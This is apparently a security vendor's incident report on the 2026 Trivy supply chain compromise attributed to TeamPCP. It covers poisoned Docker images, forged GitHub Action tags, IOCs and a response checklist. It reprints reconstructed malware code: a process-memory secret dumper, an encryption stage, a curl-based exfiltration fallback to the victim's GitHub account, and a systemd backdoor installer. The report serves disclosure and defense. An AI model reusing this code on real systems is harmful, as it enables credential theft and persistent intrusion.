`If you pulled Trivy Docker images 0.69.4, 0.69.5, or 0.69.6 - or :latest after ~16:00 UTC on March 22, 2026`: treat your environment as fully compromised. Rotate all secrets - cloud credentials, SSH keys, npm tokens, Kubernetes configs, GitHub PATs - immediately. Check your GitHub org for a repo named tpcp-docs.
WHAT HAPPENED
The Trivy Docker Hub attack - three compromised container images, zero corresponding GitHub releases, and :latest pointing straight at the armed variant
On March 22, 2026 - three days after the initial GitHub Actions compromise - Socket’s threat research team identified that TeamPCP had expanded the Trivy supply chain attack to Docker Hub. The attackers pushed three new image tags (0.69.4, 0.69.5, and 0.69.6) containing the same infostealer payload, but this time without publishing any corresponding GitHub releases or tags. The :latest tag was updated to point to 0.69.6. Any pipeline or developer pulling aquasec/trivy:latest after ~16:00 UTC on March 22 executed a credential harvester that collected cloud keys, SSH keys, environment secrets, and Kubernetes tokens - encrypted them, and silently exfiltrated them.
This was not the first Trivy compromise - it was the third in a month-long campaign by TeamPCP. But the Docker Hub phase represents a deliberate escalation: the attackers knew the GitHub Actions compromise had been detected and cleaned up on March 19, and they pivoted to Docker Hub as a second distribution channel targeting organizations that use Trivy via container images rather than GitHub Actions. The “no GitHub release” technique was intentional - it bypassed the scrutiny organizations apply to GitHub releases and exploited a blind spot in Docker Hub security: tags are mutable.
π The Full Trivy Compromise - At A Glance
Root cause: Incomplete, non-atomic credential rotation after February 28 breach gave TeamPCP retained access for 18+ days
-
March 19 Phase 1: Malicious Trivy v0.69.4 binary published to GitHub Releases, Docker Hub, ECR, GHCR - live ~3 hours
-
March 19 Phase 2: 75 of 76 trivy-action tags force-pushed with malicious entrypoint.sh - live ~12 hours across 10,000+ workflows
-
March 22 Phase 3: Three Docker Hub images (0.69.4, 0.69.5, 0.69.6) published without GitHub releases -
:latesttag pointed to 0.69.6 -
Payload: 3-stage TeamPCP Cloud Stealer - memory scraping + filesystem sweep + AES-256-CBC/RSA-4096 encrypted exfiltration
-
C2 domain:
scan.aquasecurtiy[.]org(typosquat - “securtiy” not “security”) β 45.148.10.212 (Amsterdam) -
Cascade: Stolen npm tokens from compromised CI/CD pipelines seeded CanisterWorm - 64+ npm packages, 135+ malicious artifacts
TRIVY AS A TARGET
Why attacking a security scanner is more damaging than attacking any other developer tool
Trivy is an open-source vulnerability scanner maintained by Aqua Security with over 33,000 GitHub stars. It is one of the most widely deployed DevSecOps tools in the world, used by thousands of organizations to detect vulnerabilities, misconfigurations, secrets exposure, and supply chain risks across containers, Kubernetes clusters, code repositories, and cloud infrastructure.
This popularity makes Trivy a uniquely high-value supply chain target. Consider what Trivy receives access to in a typical CI/CD pipeline:
- Cloud credentials - AWS, GCP, Azure access keys are often available in environment variables during scans
- Kubernetes secrets - service account tokens accessible to pods and runners
- Container registry credentials - Docker Hub, ECR, GHCR authentication tokens
- GitHub tokens - the runner’s
GITHUB_TOKENand any PATs passed as inputs - SSH keys - often present on developer machines that run Trivy locally
- npm tokens - in pipelines that also publish npm packages
Moreover, Trivy runs with elevated trust. It’s a security tool - organizations inherently trust it more than arbitrary dependencies. CI/CD pipelines often grant it broad filesystem access precisely because it needs to scan. And because it runs as part of security workflows, anomalous behavior during a Trivy scan is less likely to trigger alerts than the same behavior from an application dependency.
β The Irony Trivy is a supply chain security scanner. Organizations run it specifically to protect against the kind of attack TeamPCP used it to deliver. Every organization that ran Trivy in CI/CD to detect vulnerabilities in their own dependencies was unknowingly running a credential harvester. The tool built to detect supply chain attacks became the supply chain attack.
Third Compromise in a Month - A History
| Date | Incident | Vector | Attacker |
|---|---|---|---|
| Feb 28, 2026 | VS Code extension + repo takeover via hackerbot-claw | pull_request_target misconfiguration stole PAT |
hackerbot-claw (autonomous AI bot) |
| Mar 1, 2026 | Aqua Security discloses Incident #1 | Incomplete, non-atomic credential rotation - attacker retains access | TeamPCP gains persistent foothold |
| Mar 17, 2026 | v0.69.3 published - last safe release | Protected by immutable releases | - |
| Mar 19, 2026 | GitHub Actions + v0.69.4 compromise | Force-pushed 75/76 trivy-action tags + malicious binary | TeamPCP |
| Mar 22, 2026 | Docker Hub expansion: 0.69.4, 0.69.5, 0.69.6 | Pushed to Docker Hub without GitHub releases | TeamPCP |
THREE POISONED DOCKER IMAGES
Published on March 22 - no GitHub releases, no tags, no community notifications
New image tags 0.69.4, 0.69.5 and 0.69.6 were pushed on March 22 without corresponding GitHub releases or tags. Both images contain indicators of compromise associated with the same TeamPCP infostealer observed in earlier stages of this campaign. The latest tag currently points to 0.69.6, which is also compromised.
Analysis of the binaries confirms the presence of known IOCs, including the typosquatted C2 domain scan.aquasecurtiy.org, exfiltration artifacts (payload.enc, tpcp.tar.gz), and references to the fallback tpcp-docs GitHub repository.


Based on registry timelines, there is no evidence that older Docker images or binaries (β€0.69.3) were modified after publication. However, Docker Hub tags are not immutable, and organizations should not rely solely on tag names for integrity.
:latest Is The Highest-Impact Vector Many organizations and developer machines pull `aquasec/trivy:latest` rather than a pinned version - this is considered convenient CI/CD practice. By pointing `:latest` to 0.69.6 (the armed variant), TeamPCP ensured that every pipeline relying on the latest tag after 16:00 UTC March 22 executed the stealer. No version pin check, no GitHub release to notice - just a silent image swap.
WHY NO GITHUB RELEASE?
A deliberate evasion: exploiting the blind spot between Docker Hub and GitHub release monitoring
The absence of corresponding GitHub releases for 0.69.5 and 0.69.6 is not an oversight - it is a deliberate evasion technique. It exploits a fundamental blind spot in how most organizations monitor for supply chain compromise:
GitHub Release monitoring: Most security teams monitor GitHub Security Advisories, GitHub release feeds, and changelog notifications. Publishing a GitHub release triggers notifications, appears in repository history, and is tracked by dependency scanners.Docker Hub monitoring: Far fewer organizations have real-time alerts on Docker Hub tag mutations. Docker Hub does not send email notifications when a tag is updated. The:latesttag update is invisible unless you’re actively polling the registry or have registry monitoring tooling.
By publishing directly to Docker Hub without GitHub releases, TeamPCP was able to re-infect organizations that had already cleaned up their GitHub Actions pipelines and were watching GitHub for further compromise. The organizations most likely to be caught by this technique are exactly those who responded correctly to the March 19 incident - they audited their Actions workflows, stopped using version tags, but continued pulling Trivy via the :latest Docker image.
π‘ Docker Hub Mutable Tags - The Core Problem
Unlike GitHub releases with the "Immutable" feature, Docker Hub tags have always been mutable by default. Any account with push access to a Docker Hub repository can overwrite any tag at any time - including :latest - without any audit trail visible to consumers. This is a fundamental trust issue with Docker Hub that predates this attack, but TeamPCP exploited it precisely and deliberately.
The fix: always pull Docker images by digest (aquasec/trivy@sha256:

75 TAGS POISONED WITHOUT A TRACE
The most technically sophisticated aspect of the attack - forged commits with spoofed metadata that appear legitimate in every GitHub UI surface
While the Docker Hub phase is the focus of Socket’s March 22 report, the foundation of the entire attack was the March 19 GitHub Actions tag poisoning - the largest GitHub Actions supply chain compromise ever documented. Understanding it is essential context for understanding the Docker expansion.
An attacker force-pushed 75 out of 76 version tags in the aquasecurity/trivy-action repository. With over 10,000 workflow files on GitHub referencing this action, the potential blast radius is significant.
For each of the 75 tags, the attacker created a new commit that: started from the current master HEAD tree; swapped only entrypoint.sh with the infostealer; preserved the original commit’s author name, email, timestamps, and full commit message; and then force-pushed the tag to this malicious commit. The result appears legitimate in every visual inspection of the GitHub UI.
Four Forensic Tells That Reveal The Forgery

Why Tag 0.35.0 Was Left Alone
The single unaffected tag is 0.35.0, which points to the latest commit on master. The attacker used this exact commit as the base tree for all 75 malicious commits. Replacing it would have produced a commit whose parent is itself - a logical impossibility that would have drawn immediate attention to the most-monitored, most-recently-published release.

THE TEAMPCPCLOUD STEALER
204 lines of shell: 101 lines of infostealer, then the legitimate Trivy scan - appearing normal while stealing everything
The malicious entrypoint.sh is 204 lines. Lines 4-105 are the injected infostealer. Lines 106-204 are the original, legitimate Trivy scanning code. This ordering is critical to the attack’s stealth: the malware runs first, completes silently, and then the real Trivy scan proceeds normally. The operator sees expected scan output. Nothing looks wrong.
When the malicious binary is executed, it starts both the legitimate Trivy service and the malicious code in parallel. The malicious code gathers environmental variables, sweeps the system for any credentials stored in the filesystem, enumerates the network interface, then compresses and encrypts the data and attempts to exfiltrate it via POST request to https://scan.aquasecurtiy[.]org.
Stage 1 - Secret Collection (Lines 4-36)
Two paths: on GitHub-hosted runners, dumps Runner.Worker process memory via /proc/<pid>/mem using passwordless sudo to extract GitHub Actions secrets from the .NET heap. On self-hosted runners or developer machines, runs the TeamPCP Cloud Stealer - a comprehensive Python script targeting 15+ credential categories across the entire filesystem.
Memory Scraping Filesystem Sweep 50+ Target Paths
Stage 2 - Hybrid Encryption (Lines 39-68)
Generates a 32-byte random session key. Encrypts all collected data with AES-256-CBC (PBKDF2-derived key). Wraps the session key with the attacker’s embedded RSA-4096 public key using OAEP padding. Bundles into tpcp.tar.gz. Without the attacker’s RSA private key, the bundle is completely opaque - forensically unrecoverable even if intercepted on the wire.
AES-256-CBC RSA-4096 OAEP PBKDF2
Stage 3 - Dual-Channel Exfiltration (Lines 70-104)
Primary: HTTPS POST to scan.aquasecurtiy[.]org (typosquatted domain - “securtiy” not “security”) at 45.148.10.212. Fallback (if primary fails + INPUT_GITHUB_PAT available): Creates a public repo named tpcp-docs on the victim’s own GitHub account and uploads the encrypted bundle as a release asset - stored on GitHub’s infrastructure, unreachable by conventional blocking.
Typosquat C2 GitHub Fallback
WHAT GETS STOLEN
Two collection techniques - one for GitHub-hosted runners, one for self-hosted/developer machines. Both are comprehensive.
Path A: GitHub-Hosted Runners - Process Memory Dump
On GitHub-hosted Linux runners, the malware decodes and executes a base64-encoded Python script with sudo. The script reads the memory of the Runner.Worker process directly from /proc/<pid>/mem and greps for the JSON pattern "n":{"value":"SECRET","isSecret":true} - the exact format GitHub Actions uses to store secrets in the .NET process heap.
This technique is made reliable by the GitHub-hosted runner’s privilege model: GitHub documents passwordless sudo on Linux and macOS hosted runners, which bypasses ptrace restrictions and Yama LSM settings that would otherwise govern access to /proc/<pid>/mem.
Python - Process Memory Dump (Reconstructed from Analysis)
import sys, os, re
def get_runner_pid():
for pid in (p for p in os.listdir('/proc') if p.isdigit()):
try:
with open(f'/proc/{pid}/cmdline', 'rb') as f:
if b'Runner.Worker' in f.read():
return pid
except OSError: continue
raise SystemExit(0)
pid = get_runner_pid()
# Dump ALL readable memory regions from the Runner.Worker .NET process
with open(f'/proc/{pid}/maps', 'r') as maps, \
open(f'/proc/{pid}/mem', 'rb', 0) as mem:
for line in maps:
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if not m or m.group(3) != 'r': continue
s, e = int(m.group(1), 16), int(m.group(2), 16)
if s > sys.maxsize: continue
mem.seek(s)
try: sys.stdout.buffer.write(mem.read(e - s))
except OSError: continue
# Shell then greps raw dump for GitHub Actions secret format:
# "secret_name":{"value":"SECRET_VALUE","isSecret":true}
Path B: Self-Hosted Runners & Developer Machines - TeamPCP Cloud Stealer
The comprehensive filesystem credential harvester (self-labeled “TeamPCP Cloud stealer”) uses three utility functions - emit (read files), run (execute commands), walk (recursive directory traversal) - to systematically sweep the system. On developer machines, the trojanized Trivy binary performed similar data collection, gathering environment variables, scanning local files for credentials, and enumerating network interfaces.

UNBREAKABLE WITHOUT THE PRIVATE KEY
Hybrid AES-256-CBC + RSA-4096 - even traffic interception cannot recover the stolen data
Bash - Encryption Stage (Lines 39-68)
# 1. Generate cryptographically secure 32-byte session key
openssl rand 32 > $_SESSION_KEY
# 2. Encrypt all stolen data with AES-256-CBC
# The session material is passed through PBKDF2 to derive the AES key + IV
openssl enc -aes-256-cbc \
-in $COLLECTED \
-out $_ENC_FILE \
-pass "file:$_SESSION_KEY" \
-pbkdf2
# 3. Wrap session key with attacker's embedded RSA-4096 public key
# OAEP padding - secure against chosen-ciphertext attacks
# Only the holder of the RSA private key can recover the session key
openssl pkeyutl -encrypt -pubin \
-inkey $_PUB_KEY_PEM \
-in $_SESSION_KEY \
-out $_ENC_KEY \
-pkeyopt rsa_padding_mode:oaep
# 4. Bundle into tpcp.tar.gz
# payload.enc = AES-encrypted stolen credentials
# session.key.enc = RSA-wrapped AES session key
tar -czf $_BUNDLE -C $_WORKDIR payload.enc session.key.enc
# β Even if this bundle is intercepted in transit by a corporate proxy or
# network security device - it cannot be decrypted without the attacker's
# RSA-4096 private key. The stolen data is forensically unrecoverable.
TWO-CHANNEL EXFILTRATION
Primary domain typosquat. Fallback: the victim’s own GitHub account - stored on GitHub’s infrastructure, unreachable by conventional blocking
Primary Channel: scan.aquasecurtiy[.]org
The encrypted bundle is sent via HTTPS POST to the typosquatted domain scan.aquasecurtiy[.]org - “securtiy” instead of “security” (i and t transposed). This domain resolved to 45.148.10.212, hosted in Amsterdam. The header X-Filename: tpcp.tar.gz identifies the payload type to the receiving server.
Fallback Channel: Victim’s Own GitHub Account
If exfiltration failed, the malware created a public repository named tpcp-docs within the victim’s GitHub account and uploaded the stolen data there. The fallback creates a timestamped release and uploads the encrypted bundle as a release asset. The attacker then searches GitHub globally for tpcp-docs repositories to locate and download stolen data.
Bash - GitHub Fallback Exfiltration (Reconstructed)
# If primary C2 returns non-2xx AND a GitHub PAT is available...
if [[ ! $_HTTP =~ ^2 ]] && [ -n "${INPUT_GITHUB_PAT:-}" ]; then
# 1. Create a PUBLIC repo on the VICTIM's own GitHub account
curl -s -X POST "https://api.github.com/user/repos" \
-H "Authorization: token ${INPUT_GITHUB_PAT}" \
-d '{"name":"tpcp-docs","private":false,"auto_init":true}'
# 2. Create a timestamped release
_TAG="data-$(date +%Y%m%d%H%M%S)"
_RELEASE_ID=$( curl -s -X POST \
"${_GH_API}/repos/${_GH_USER}/tpcp-docs/releases" \
-H "${_GH_AUTH}" \
-d "{\"tag_name\":\"${_TAG}\",\"name\":\"${_TAG}\"}" \
| jq -r '.id' )
# 3. Upload the encrypted stolen credentials as a release asset
curl -s -X POST \
"https://uploads.github.com/repos/${_GH_USER}/tpcp-docs/releases/${_RELEASE_ID}/assets?name=tpcp.tar.gz" \
--data-binary "@${_BUNDLE}"
# Attacker searches GitHub for "tpcp-docs" repos to retrieve data
# Stored on github.com - never blocked by corporate firewalls
fi
# Cleanup - delete all temp files. No local traces remain.
rm -rf $_WORKDIR $_PUB_KEY_PEM
rm -f $COLLECTED
tpcp-docs = CONFIRMED Exfiltration Finding a repository named `tpcp-docs` in your GitHub organization means the fallback channel fired - your CI/CD secrets are already sitting in a GitHub release asset, accessible to anyone with TeamPCP's RSA private key. The repository name is intentionally innocuous to avoid immediate suspicion. Search your entire GitHub organization for this repository name right now.
SYSTEMD BACKDOOR ON DEVELOPER MACHINES
On developer machines (not CI/CD runners), the stealer drops a persistent Python backdoor that polls an ICP blockchain for payloads - and survives reboots
To persist on a compromised device, the malware would also drop a Python payload at ~/.config/systemd/user/sysmon.py and register it as a systemd service. This payload would check a remote server for additional payloads to drop, giving the threat actor persistent access to the device.
The malicious code attempts to identify if it is on a developer machine by checking if the environmental variable GITHUB_ACTIONS != "true". If that check passes, the malware attempts to create persistence by writing a Python script.
Bash - Persistence Installation Logic (Reconstructed)
# Only install persistence on developer machines - not ephemeral CI runners
if [ "${GITHUB_ACTIONS:-}" != "true" ]; then
mkdir -p ~/.config/systemd/user/
# Drop Python backdoor - polls ICP blockchain canister every ~50 min
# Named "sysmon" to masquerade as system monitoring tooling
cat > ~/.config/systemd/user/sysmon.py << 'EOF'
# Polls tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io
# Downloads and executes any new binary payload
# Saves URL state to /tmp/.pg_state to avoid re-running
# Skip if URL contains "youtube.com" (kill-switch / dormant state)
EOF
# Register as persistent systemd user service
cat > ~/.config/systemd/user/sysmon.service << 'EOF'
[Unit]
Description=System Monitor Service
[Service]
ExecStart=python3 /home/user/.config/systemd/user/sysmon.py
Restart=always
RestartSec=5
[Install]
WantedBy=default.target
EOF
systemctl --user enable --now sysmon.service
# Starts on login, restarts on crash, survives reboots
# Cannot be killed without systemctl --user disable sysmon.service
fi
π‘ The ICP Blockchain C2 Connection The persistence backdoor polls the ICP (Internet Computer Protocol) canister tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io - a smart contract deployed on a decentralized blockchain. This cannot be seized, taken offline, or blocked through conventional means. Even after every infected package and binary is cleaned up, developer machines with this backdoor will continue polling indefinitely. This is the same C2 infrastructure used by CanisterWorm.
TEAMPCP - WHO ARE THEY?
A documented cloud-native threat actor, now pivot-capable across supply chains - with AI-assisted malware development
It is currently not known with certainty who is behind the attack, although there are signs that the threat actor known as TeamPCP may be behind it. This assessment is based on the fact that the credential harvester self-identifies as “TeamPCP Cloud stealer” in the source code.

Aqua Security confirmed the incident, stating that a threat actor used compromised credentials from the earlier incident that was not properly contained. “This was a follow up from the recent incident (2026-03-01) which exfiltrated credentials. Our containment of the first incident was incomplete. We rotated secrets and tokens, but the process wasn’t atomic and attackers may have been privy to refreshed tokens.”
HOW TRIVY SEEDED CANISTERWORM
Stolen npm tokens from Trivy-compromised CI/CD pipelines directly fueled the world’s first self-propagating npm supply chain worm
The threat actor expanded operations to the npm ecosystem via a worm (“CanisterWorm”) leveraging stolen publish tokens. The ICP-hosted fallback C2 (tdtqy-oyaaa-aaaae-af2dq-cai) is now actively serving an iteratively developed payload (kamikaze.sh).
The causal chain is direct: thousands of CI/CD pipelines had npm authentication tokens present in their environment variables. The TeamPCP Cloud Stealer harvested ~/.npmrc tokens and NPM_TOKEN-style environment variables. Those tokens were used to publish malicious patch versions of packages the victims maintain - and in Wave 4, CanisterWorm became autonomous, with findNpmTokens() in the postinstall hook automatically finding and weaponizing npm tokens on every new victim machine.
π The Trivy β npm β CanisterWorm Chain
Step 1: Trivy-action runs in CI/CD pipeline β TeamPCP Cloud Stealer collects all env secrets including npm tokens
Step 2: Stolen npm tokens used to publish malicious patch versions of victim’s npm packages
Step 3: Wave 4 adds findNpmTokens() to postinstall hook - any developer installing an infected package has their own npm tokens stolen and their packages re-published as malicious
Step 4: ICP canister (same infrastructure as Trivy persistence backdoor) delivers follow-on payloads to all infected machines
Result: 64+ npm packages infected, 135+ malicious artifacts - expanding autonomously with zero further human operation
THE FULL TIMELINE
February 28 to March 22, 2026 - every key event in sequence

HUNT LIST
Block these domains, hunt these file paths, and query these patterns in your SIEM and GitHub organization

Compromise Window for Hunting
Hunt for trivy-action/setup-trivy workflow runs using version tags between 17:00 UTC and 23:13 UTC on March 19, 2026. Hunt for Docker image pulls of 0.69.4, 0.69.5, 0.69.6, or :latest after 16:00 UTC March 22, 2026. Any hit in these windows should be treated as a confirmed compromise.
MITRE ATT&CK
Every stage of this attack mapped to the MITRE ATT&CK framework

WHAT TO DO RIGHT NOW
Prioritized response checklist - work urgent items first, then short-term hardening, then long-term policy changes
π¨ Assume Compromise If ANY Of These Are True β’ Pulled Docker images 0.69.4, 0.69.5, 0.69.6, or :latest after 16:00 UTC March 22 β’ Used trivy-action via version tag (not pinned SHA) between 17:00-23:13 UTC March 19 β’ Used setup-trivy via version tag during the same window β’ Ran Trivy binary v0.69.4 on any machine - developer or CI/CD β’ Developer on your team ran Trivy locally between March 19-22, 2026
Urgent Actions - Within The Hour
- Search your entire GitHub organization for any repository named
tpcp-docs. Its presence = confirmed successful credential exfiltration via the fallback channel. Preserve forensic evidence before deletion. - Rotate ALL secrets accessible in any affected CI/CD environment: GitHub PATs, npm tokens, AWS/GCP/Azure access keys, SSH keys, Kubernetes service account tokens, Docker Hub credentials, database passwords. Every single one - simultaneously if possible.
- Block at DNS and firewall:
scan.aquasecurtiy[.]org, IP45.148.10.212,plug-tab-protective-relay.trycloudflare.com. Then query historical DNS/proxy logs for prior connections to all three. - Purge Docker images
0.69.4,0.69.5,0.69.6from all registries (ECR, GHCR, Docker Hub), artifact caches, and any local machine that pulled them. Replace with0.69.3verified via Sigstore cosign. - Audit npm publish history March 19-22. Any package version published without your explicit authorization β unpublish immediately, republish clean version, and notify downstream users.
Short-Term Actions - Within 24 Hours
- Check developer machines for persistence:
~/.config/systemd/user/sysmon.pyandsysmon.service. If found:
systemctl --user disable --now sysmon.service, delete both files,systemctl --user daemon-reload, then rotate all credentials on that machine. - Query container orchestration audit logs for any containers pulling Trivy 0.69.4-0.69.6 or
:latestafter March 22. Identify which workloads and namespaces were affected. - Fix all GitHub Actions references: replace
uses: aquasecurity/trivy-action@VERSIONwith the pinned SHAuses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1. - Use StepSecurity’s open-source Trivy compromise scanner to automatically identify affected workflow runs across all your repositories.
- Hunt in your SIEM for outbound connections to
*.icp0.io- this indicates CanisterWorm backdoor activity on developer machines polling the ICP blockchain C2.
Long-Term Hardening
- Pin ALL GitHub Actions to full 40-character commit SHAs. Enforce this as an organizational policy via StepSecurity Harden Runner or similar tooling. A version tag reference should fail CI.
- Pull Docker images by digest, not tag. Implement automated digest verification in your Kubernetes admission controllers or image scanning pipeline.
- Implement atomic credential rotation procedures: all old tokens invalidated simultaneously and verified as invalid before new tokens are created. Document and drill this procedure.
- Scope CI/CD tokens to minimum required permissions. npm publish tokens only in pipelines that publish. Cloud credentials scoped to exact resources needed. Stolen tokens with no publish rights cannot seed supply chain worms.
- Audit all
pull_request_targetworkflows. Any workflow using this trigger that also checks out and executes PR code is exploitable via the same technique used in the February 28 incident.
FIVE LESSONS FROM THIS ATTACK
Structural lessons every DevSecOps team must act on
Lesson 1: Tags Are Mutable - Both Docker and Git
The March 22 Docker Hub attack and the March 19 GitHub Actions attack share the same root vulnerability: mutable tag references. Docker tags can be overwritten silently. Git tags can be force-pushed. In both cases, the “version” you pinned may no longer point to the code you reviewed. The only truly immutable references are content hashes - Docker image digests and git commit SHAs.
Lesson 2: Security Tools Are the Highest-Value Supply Chain Targets
TeamPCP chose Trivy deliberately. A security scanner runs with elevated trust, broad filesystem access, and pipeline-wide credentials. When you compromise the scanner, you compromise everything the scanner is allowed to see. Every security tool in your CI/CD pipeline should be treated with the same supply chain scrutiny as any other dependency.
Lesson 3: Non-Atomic Credential Rotation Is Dangerous
This entire attack chain - a month-long campaign affecting thousands of organizations - was enabled by a credential rotation window of several days during which both old and new tokens were simultaneously valid. The attacker used the old token to capture the new one. Incident response must include instant, verified, atomic credential revocation.
Lesson 4: Docker Hub Has No Immutable Tags by Default
Unlike GitHub releases with the Immutable feature, Docker Hub has always allowed tag mutation. The attackers exploited this precisely. If your CI/CD pipeline references Docker images by tag rather than digest, you have no guarantee that the same tag resolves to the same image on every run. This is a policy issue, not just a Trivy issue.
Lesson 5: Supply Chain Cascades Outpace Manual Response
The March 19 compromise was detected and cleaned up within 12 hours. But the stolen credentials had already seeded CanisterWorm, which became autonomous on March 21 - continuing to spread with zero human intervention even after Trivy was fully cleaned. Manual incident response is structurally insufficient for cascading supply chain attacks. Automated detection, automated token revocation, and automated pipeline suspension are necessary capabilities.
β Five Changes That Would Have Prevented This Entire Attack Chain - Pin GitHub Actions to commit SHAs - 75-tag rewrite attack would have had zero effect on any pinned-SHA workflow - Pull Docker images by digest - Silent tag mutation would have been impossible to exploit - Atomic, verified credential rotation - No retained access window for TeamPCP across the March 1-19 gap - Least-privilege CI/CD tokens - Stolen npm tokens without publish rights cannot seed CanisterWorm - Real-time supply chain monitoring - Automated rollback within seconds of anomaly detection, not hours
Comments (0)
No comments yet. Be the first to share your thoughts.
Leave a comment